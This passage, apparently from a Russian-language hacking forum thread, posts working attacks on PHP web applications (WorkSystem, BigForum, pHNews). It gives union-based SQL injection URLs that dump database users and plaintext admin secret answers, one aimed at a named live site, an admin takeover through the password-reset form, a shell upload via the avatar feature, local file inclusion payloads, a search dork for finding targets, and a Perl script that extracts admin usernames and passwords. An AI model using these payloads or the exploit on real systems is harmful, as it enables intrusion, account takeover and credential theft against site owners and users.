FROM ".$g_db_prefix."CATALOGUE_SUPPLIER a, ".$g_db_prefix."SHOPPING_DELIVERY c
where ID_CATALOGUE=".$select_catalogue." and c.USERID=a.CREATOR";
...
$query_select = "SELECT ID,TITLE,STATE,LINK,DESCRIPTION,CREATOR,FILE_NAME,
UNIX_TIMESTAMP(DATE_CREATION) as DATE_CREATION, ID_THEMA, HITS,
PRICE,DISCOUNT,ID_CURRENCY,STOCK,STOCK_CURRENT,PERIOD_DELIVERY,
COLORS1,COLORS2,COLORS3,COLORS4,COLORS5,COLORS6,REFERENCE_FREE
FROM ".$g_db_prefix."CATALOGUE where ID=$select_catalogue";
SQL
http://localhost/worksystem_4_0_39/module/catalogue/view_catalogue.php?select_catalogue=1+and+1=2+unio n+select+1,2,3,4,5,6,version%28%29,user(),9,10+--+&work_url=04eaaac39da09ffd351cf366b0bd70aa#
SQL
http://localhost/worksystem_4_0_39/module/catalogue/view_catalogue.php?select_catalogue=1+and+1=2++uni on+select+1,2,3,4,5,6,user(),8,9+--+&work_url=04eaaac39da09ffd351cf366b0bd70aa#
SQL
http://localhost/worksystem_4_0_39/module/catalogue/view_catalogue.php?select_catalogue=1+and+1=2++uni on+select+1,version(),3,database(),5,6,7,8,9,10,11 ,12,13,14,15,16,17,18,19,20,21,22,23+--+&work_url=04eaaac39da09ffd351cf366b0bd70aa#
-----------------------
module/booking/view_room.php
PHP код:
$select_catalogue = ( isset($_REQUEST['select_catalogue']) and intval($_REQUEST['select_catalogue']) >= 1 ) ? $_REQUEST['select_catalogue'] : "";
...
$query_select = "SELECT ID,TITLE,STATE,LINK,DESCRIPTION,CREATOR,FILE_NAME,RESUME,
UNIX_TIMESTAMP(DATE_CREATION) as DATE_CREATION, ID_THEMA, HITS,
PRICE,DISCOUNT,ID_CURRENCY,STOCK,STOCK_CURRENT,PERIOD_DELIVERY,
COLORS1,COLORS2,COLORS3,COLORS4,COLORS5,COLORS6,REFERENCE_FREE
FROM ".$g_db_prefix."CATALOGUE where ID=$select_catalogue";
SQL
http://localhost/worksystem_4_0_39/module/booking/view_room.php?amp;work_url=0168e286bf&select_catal ogue=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,version()+limit+1,1
-----------------------
module\forum\detailforum.php
PHP код:
include($g_include_forum."include_display_detailforum.php");
include_config.php
PHP код:
global_register('GET','POST');
function global_register() {
$num_args = func_num_args();
if ($num_args > 0) {
for ($i = 0; $i < $num_args; $i++) {
$method = strtoupper(func_get_arg($i));
if (($method != 'SESSION') && ($method != 'GET') && ($method != 'POST') && ($method != 'SERVER') && ($method != 'COOKIE') && ($method != 'ENV')) {
die("The \"$method\" is invalid argument, The argument of global_register must be the following: GET, POST, SESSION, SERVER, COOKIE, or ENV"); }
$varname = "_{$method}";
global ${$varname};
foreach (${$varname} as $key => $val) {
global ${$key};
${$key} = $val;
}
}
}else{
die('You must specify at least one argument');
}
}
module\forum\include\include_display_detailforum.p hp
PHP код:
$query_select = "SELECT ID,ID_INIT,TITLE,STATE,DESCRIPTION,CREATOR,UNIX_TIMESTAMP(DATE_CREATION) as DATE_CREATION,LINK
FROM ".$g_db_prefix."FORUM_INIT where ID=$select_forum and STATE=$state_display $profile_forum order by ORDER_DISPLAY asc, DATE_CREATION asc";
SQL
http://localhost/worksystem_4_0_39/module/forum/detailforum.php?select_forum=3+union+select+1,2,us er(),4,version(),6,7,8+--+&work_url=2fa5af6c22#
------------------------
module\news\view_news.php
PHP код:
$select_news = ( isset($_REQUEST['select_news']) and intval($_REQUEST['select_news']) >= 1 ) ? $_REQUEST['select_news'] : "";
...
$query_select = "SELECT a.ID,a.TITLE,a.STATE,a.LINK,a.DESCRIPTION,b.CREATOR,a.FILE_NAME,
UNIX_TIMESTAMP(a.DATE_CREATION) as DATE_CREATION,a.WHERE_IMAGE,a.SIZE_IMAGE,a.HITS,a.WRAPPER
FROM ".$g_db_prefix."NEWS a, ".$g_db_prefix."NEWS_SUPPLIER b where ID=$select_news and a.ID=b.NEWS_ID ";
SQL
http://localhost/worksystem_4_0_39/module/news/view_news.php?select_news=12+union+select+1,user() ,3,database(),version(),6,7,8,9,10,11,12+--+
------------------------------
Заходим админом
Кроме стандартного захода login : password, предусмотрен login : Secret answer, причем Secret answer хранится в таблице user
открытым текстом.
Узнаем префикс таблиц в базе.
http://localhost/worksystem_4_0_39/module/news/view_news.php?select_news=12+union+select+1,TABLE_ NAME,3,TABLE_SCHEMA,5,6,7,8,9,10,11,12+from+inform ation_schema.tables+--+
http://www.artpeinture.fr/work/module/news/view_news.php?select_news=12+union+select+1,TABLE_ NAME,3,TABLE_SCHEMA,5,6,7,8,9,10,11,12+from+inform ation_schema.tables+--+&work_url=8cd560377a
Читаем username и Secret answer
http://localhost/worksystem_4_0_39/module/news/view_news.php?select_news=12+union+select+1,name,3 ,ANSWER,5,6,7,8,9,10,11,12+from+work_user+--+
Запасной вход
http://localhost/worksystem_4_0_39/module/user/forget_password.php?f_username=admin&work_url= 8cd560377a
или
http://localhost/worksystem_4_0_39/module/user/forget_password.php?f_username=blabla'+or+GROUP_ID =7+--+&work_url=8cd560377a
вводим секретный ответ и мы админы.
|
|
|
|
07.03.2010, 06:00
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами:
9154406
Репутация:
2221
|
|
BigForum
Version: 4.5
http://sourceforge.net/projects/npage-bigforum/
SQL Injection:
/misc.php?aktion=adser&id=-1'+union+select+1,2,user(),4,5+--+
(Need mq = off)
Будет редирект на значение 3 поля.
/profil.php?id=-1'+union+select+1,concat_ws(0x3a,id,username,pw),3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2,23,24,25,26,27,28,29+from+users--+
В Author / Erstellen
1u%' union select 1,2,3,4,5,6,7,8,9,10,11,12 --
/?do=show_one&id=-1'+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4+--+
Залитие шелла:
/main.php?do=ava&aktion=send
Выбираем как аватару шелл, и заливаем, /images/avatar/ .
BigForum 4.5 SQL INJ EXPLOIT.
PHP код:
#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# BigForum Version: 4.5 SQL INJECTION #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Blog : www.Ctacok.ru #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "# Require : Magic_quotes = Off #\n";
print "##############################################################\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln = "-1'+union+select+1,concat(0x3a3a3a,id,0x3a,username,0x3a,pw,0x3a3a3a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+users";
$doc = get($host.$path."profil.php?id=".$vuln."+--+");
if ($doc =~ /:::(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin username: $2";
print "\n[+] Admin password: $3";
}
Dork:
by Bigforum-Team (Version: 4.5 )
Последний раз редактировалось Ctacok; 07.03.2010 в 06:53..
|
|
|
|
11.03.2010, 13:26
|
|
Banned
Регистрация: 07.05.2009
Сообщений: 103
С нами:
8954306
Репутация:
1588
|
|
pHNews
product : pHNews-alpha1-normal
SQL injection
modules/comments.php - code
PHP код:
if ($ii >= $messagespp) {
// Find out how many pages
$pages = $ii / $messagespp;
$pages = ceil($pages);
$pages++;
$page++;
$pagesm = $pages - 1;
$comm_output .= pages($pagesm,"?mod=comments&id=".$_GET['id']."&page=");
}
unset($tmp_ended);
$sql = "SELECT lastread FROM Users WHERE UName = '$user_uname'";
$result = mysql_query($sql) or die('Query failed: ' . mysql_error());
$row = mysql_fetch_array($result, MYSQL_ASSOC);
$exploaded = $pHNews->explodeAssoc("&", $row['lastread']);
$exploaded[$_GET['id']] = time();
$sql = "UPDATE Users SET lastread='".$pHNews->implodeAssoc("&", $exploaded)."' WHERE UName = '$user_uname';";
mysql_query($sql);
$mod_output .= mysql_error();
result
mq=off
SQL Injection
Код:
http://localhost/upload/indexfix.php?mod=comments&id=1'+and+0+union+all+select+1,version(),3,4,5,6,7,8--+
Blind SQL Injection
Код:
http://localhost/upload/indexfix.php?mod=comments&user_uname=[blind sql]
modules/view_profile.php
PHP код:
//$sql = "SELECT * FROM `Users` WHERE `UName`='{$_GET['user']}'";
//$result = mysql_query($sql) or die('Query failed: ' . mysql_error());
//$row = mysql_fetch_array($result);
$row = $pHNews->get_user_info("", $_GET['user']);
result :
Код:
http://localhost/upload/indexfix.php?mod=view_profile&user='+and+0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--+
Local File Inclusion
module/comments.php - code
PHP код:
include "./$templates_dir/$template/comments.php";
mq=off
result :
Код:
http://localhost/upload/modules/comments.php?templates_dir=../../upload/[file]%00
Код:
http://localhost/upload/modules/comments.php?template=../../upload/[file]%00
(с) milw0rm
SQL injection + Local File Inclusion
mq=off
rg=on
Код:
http://localhost/upload/indexfix.php?mod=view_profile'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=login'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=usercp'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=admin'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=register'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=news'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=about'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=terms'+and+0+union+all+select+[LFI],2--+
Последний раз редактировалось [x60]unu; 11.03.2010 в 13:48..
|
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Библиотека
|
SladerNon |
Болталка |
17 |
05.02.2007 23:30 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [x60]unu](/avatars/avatar84758.jpg?1936084){kind=avatar}
![Аватар для [x60]unu](/avatars/avatar84758.jpg?1971189){kind=avatar}
Комбинированный вид
